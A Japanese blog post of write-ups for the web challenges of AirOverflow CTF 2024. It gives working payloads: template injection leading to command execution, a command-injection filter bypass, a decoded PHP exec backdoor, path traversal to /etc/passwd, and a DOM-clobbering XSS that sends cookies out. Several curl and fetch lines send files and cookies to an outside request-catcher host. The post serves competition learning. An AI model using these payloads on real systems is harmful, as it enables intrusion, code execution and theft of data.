はまやんはまやんはまやん

hamayanhamayan's blog

AirOverflow CTF - 2024 Writeups

https://ctftime.org/event/2360

[Web] QrZilla

ソースコード無し。
QRコードの作成と読み込みができるサイトが与えられる。
色々試すとSSTI脆弱性があった。

{{7*7}}を入れてQRコードを作成し、生成されるURLをScanの方で表示させると49と表示された。
ということでいつものようにRCEしていく。

{{request.application.__globals__.__builtins__.__import__('os').popen('ls -lah /').read()}}でフラグの場所が分かるので、

total 72K
drwxr-xr-x   1 root root 4.0K Apr 28 05:09 .
drwxr-xr-x   1 root root 4.0K Apr 28 05:09 ..
-rwxr-xr-x   1 root root    0 Apr 28 05:09 .dockerenv
lrwxrwxrwx   1 root root    7 Apr  8 00:00 bin -> usr/bin
drwxr-xr-x   2 root root 4.0K Jan 28 21:20 boot
drwxr-xr-x   1 root root 4.0K Apr 23 13:45 code
drwxr-xr-x   5 root root  340 Apr 28 05:09 dev
drwxr-xr-x   1 root root 4.0K Apr 28 05:09 etc
-rw-rw-r--   1 root root   59 Apr 28 05:09 flag.txt
drwxr-xr-x   2 root root 4.0K Jan 28 21:20 home
lrwxrwxrwx   1 root root    7 Apr  8 00:00 lib -> usr/lib
lrwxrwxrwx   1 root root    9 Apr  8 00:00 lib64 -> usr/lib64
drwxr-xr-x   2 root root 4.0K Apr  8 00:00 media
drwxr-xr-x   2 root root 4.0K Apr  8 00:00 mnt
drwxr-xr-x   2 root root 4.0K Apr  8 00:00 opt
dr-xr-xr-x 306 root root    0 Apr 28 05:09 proc
drwx------   1 root root 4.0K Apr 23 18:29 root
drwxr-xr-x   1 root root 4.0K Apr 10 05:25 run
lrwxrwxrwx   1 root root    8 Apr  8 00:00 sbin -> usr/sbin
drwxr-xr-x   2 root root 4.0K Apr  8 00:00 srv
dr-xr-xr-x  13 root root    0 Apr 28 05:09 sys
drwxrwxrwt   1 root root 4.0K Apr 23 18:30 tmp
drwxr-xr-x   1 root root 4.0K Apr  8 00:00 usr
drwxr-xr-x   1 root root 4.0K Apr  8 00:00 var

{{request.application.__globals__.__builtins__.__import__('os').popen('cat /flag.txt').read()}}のようにして取り出す。

[Web] Feedback

ソースコード無し。
入力できる所でガチャガチャやってると`id`でidコマンドが動いた。
使えない文字があるので色々頑張る必要がありそう。

スペースは${IFS}で代用可能だった。`cat${IFS}main.py`ソースコードを抜いてみよう。

from fastapi import FastAPI, Request from fastapi.responses import HTMLResponse from fastapi.staticfiles import StaticFiles from fastapi.templating import Jinja2Templates import os import subprocess app = FastAPI(docs_url=None, redoc_url=None) #app.mount(\"/static\", StaticFiles(directory=\"static\"), name=\"static\") templates = Jinja2Templates(directory=\"templates\") @app.get(\"/\", response_class=HTMLResponse) async def root(req: Request): return templates.TemplateResponse(\"index.html\", {\"request\": req, \"id\": id}) invalid_chars = [ \" \", \"less\", \"more\", \"head\", \"tail\", \"grep\", \"awk\", \"sed\", \"flag\", \"txt\", \"base\", \"*\", \"/\", \";\", \"[\", \"]\", \"\\\"\", \"\\'\", \"?\" ] @app.post(\"/submit\") async def submit(req: Request): data = await req.json() name = data.get(\"name\") for char in invalid_chars: if char in name: return { \"success\": False, \"response\": \"Invalid Characters\" } try: get_output = subprocess.check_output(f\"echo \" + name, shell=True, executable=\"/bin/bash\") except: return { \"success\": False, \"response\": \"Something went wrong on our side.\" } return { \"success\": True, \"response\": get_output }\n

invalid_chars = [ \" \", \"less\", \"more\", \"head\", \"tail\", \"grep\", \"awk\", \"sed\", \"flag\", \"txt\", \"base\", \"*\", \"/\", \";\", \"[\", \"]\", \"\\\"\", \"\\'\", \"?\" ]が禁止だった。
スラッシュは${HOME:0:1}で代用可能。
flag,txtはfla{g..g}tx{t..t}のように回避すればいいので、最終的に`cat${IFS}${HOME:0:1}fla{g..g}.tx{t..t}`でフラグ取得可能。

[Web] MusicOverflow2077

ソースコード無し。
音楽を鳴らせるサイトが与えられる。
リクエストを眺めると GET /music.php/?song=BIG%20DAWG%20THING.mp3 というディレクトリトラバーサルできそうな所がある。
GET /music.php/?song=../../../../etc/passwdでいつもの出力が出てきた。

色々試すとソースコードが抜けた。
GET /music.php/?song=../index.php
先頭に難読化されたphpが埋め込まれている。

<?php $_=``.[];$__=@$_;$_= $__[0]; $_1 = $__[2]; $_1++;$_1++;$_1++;$_1++;$_1++;$_1++;$_++;$_++;$_0 = $_;$_++;$_2 = ++$_; $_55 = '_'.(','^'|').('/'^'`').('-'^'~').(')'^'}');$_74 = ('{'^':').('`'^'/').('='^'{').('#'^'`').(')'^'}').('`'^'&').('@'^'r').('k'^'_'); $_ = $_2.$_1.$_2.$_0; $_($$_55[$_74.'_oEC8QYaYKp']);?>

適当に動的解析しながら復元すると最終的にはExEC($_POST['AOFCTF24_oEC8QYaYKp']);を動かすコードだった。
という訳で以下のような感じでRCEできる。

POST / HTTP/1.1
Host: challs.airoverflow.com:34283
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 148

AOFCTF24_oEC8QYaYKp=sleep%205

遅延するので、curl経由で情報を抜き出していくとフラグが得られる。

ls -la / | curl https://[yours].requestcatcher.com/test -X POST -d @-
-> flag_0Lgs89Oz9G.txt

cat /flag_0Lgs89Oz9G.txt | curl https://[yours].requestcatcher.com/test -X POST -d @-

[Web] Little Nightmare

ソースコード有り。
/flagが取得できればクリア。

app.pyは非常にシンプル。

from aiohttp import web

app = web.Application()
app.add_routes([
    web.get('/', lambda request: web.FileResponse('./index.html')),
    web.static('/', './assets/', follow_symlinks=True)
])

web.run_app(app, port=1337)

ディレクトリトラバーサルやろと思い、以下のリクエストを投げるとフラグがもらえる。

GET /../../../../../flag HTTP/1.1
Host: challs.airoverflow.com:33831

[Web] Katana

ソースコード一部有り。
XSSする問題。

<script>
    const urlParams = new URLSearchParams(window.location.search);
    for(var [key, value] of urlParams) {
        if(document.getElementById(key))
        {
            document.getElementById(key).innerText = `${value}`;
        }
        else if (window.debugMode)
        {
            document.write("unidentified keys <br />");
            document.write(`${key} = ${value} <br />`);
        }
        else
        {
            key = DOMPurify.sanitize(key);
            document.write(`<span style='color: red'>${key} not found in the document</span><br />`);
        }
    }
</script>

DOMPurifyがあるのでelseの部分でXSSは難しいが、window.debugModeの分岐の所ならできそう。
ここにどう入れるかであるが、DOM Clobberingで達成可能。

<a id="debugMode"></a>を差し込めれば、DOM Clobberingでwindow.debugModeを入れ込める。
これはurlParamsのループの1週目にelseで入れ込めばよい。
DOMPurifyでも消されないので問題ない。
あとは2週目でXSSする。

何故か本番環境ではdebugModeではなくAOFCTF24に変名されていたので、
/?<a id="AOFCTF24"></a>&xss=<img src=x onerror=fetch(`https://[yours].requestcatcher.com/test?${document.cookie}`);>のような入力をURLエンコードして投げてやればよい。
つまり、以下のようなURLを渡せばrequest catcherにフラグが飛んでくる。

http://challs.airoverflow.com:33843/?%3Ca%20id%3D%22AOFCTF24%22%3E%3C%2Fa%3E&xss=%3Cimg%20src%3Dx%20onerror%3Dfetch%28%60https%3A%2F%2F[yours]%2Erequestcatcher%2Ecom%2Ftest%3F%24%7Bdocument%2Ecookie%7D%60%29%3B%3E

[Web] Streamify あきらめ

ソースコード無し。
サイトを巡回していると/profileにアクセスしたときにcookieがもらえることに気が付く。
streamer=eyJzdHJlYW1lcm5hbWUiOiJSb290eHJhbiIsInN0YXR1cyI6Im9ubGluZSIsImFnZSI6IjIwIiwiZ2FtZXMiOiIxMyIsImZyaWVuZHNvbmxpbmUiOiI0IiwidG90YWxzdHJlYW1zIjoiMTM2IiwiY2xpcHMiOiIyNCJ9
この入力値がreflectされていることまで気が付いたが、そこから攻撃を進展させることができなかった。

AirOverflow CTF 2024 - Web Write-ups - Saad Akhtar

他の人の解説。
node-serializeが使われていてRCEできたようだ。
似たようなコードを試したのだが…
まあ、しょうがない。